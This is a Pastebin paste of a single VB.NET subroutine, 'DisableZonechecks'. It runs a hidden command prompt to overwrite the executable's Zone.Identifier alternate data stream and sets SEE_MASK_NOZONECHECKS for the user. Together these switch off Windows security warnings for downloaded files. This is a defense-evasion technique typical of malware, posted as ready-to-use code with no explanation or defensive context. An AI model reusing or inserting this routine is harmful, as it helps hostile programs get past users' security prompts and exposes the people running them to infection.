ShadiNachat

Untitled

Oct 11th, 2015
113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. Public Sub DisableZonechecks()
  2. Try
  3. Dim proc As New Process
  4. Dim StartInfo As New System.Diagnostics.ProcessStartInfo
  5. StartInfo.FileName = "cmd"
  6. StartInfo.RedirectStandardInput = True
  7. StartInfo.RedirectStandardOutput = True
  8. StartInfo.UseShellExecute = False
  9. StartInfo.CreateNoWindow = True
  10. proc.StartInfo = StartInfo
  11. proc.Start()
  12. Dim w As System.IO.StreamWriter = proc.StandardInput
  13. w.WriteLine("echo [zoneTransfer]ZoneID = 2 > " & Application.ExecutablePath & ":ZONE.identifier")
  14. w.WriteLine("exit")
  15. w.Close()
  16. Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User)
  17. Catch
  18. Try
  19. Environment.SetEnvironmentVariable("SEE_MASK_NOZONECHECKS", "1", EnvironmentVariableTarget.User)
  20. Catch : End Try
  21. End Try
  22. End Sub
Advertisement
Add Comment
Please, Sign In to add comment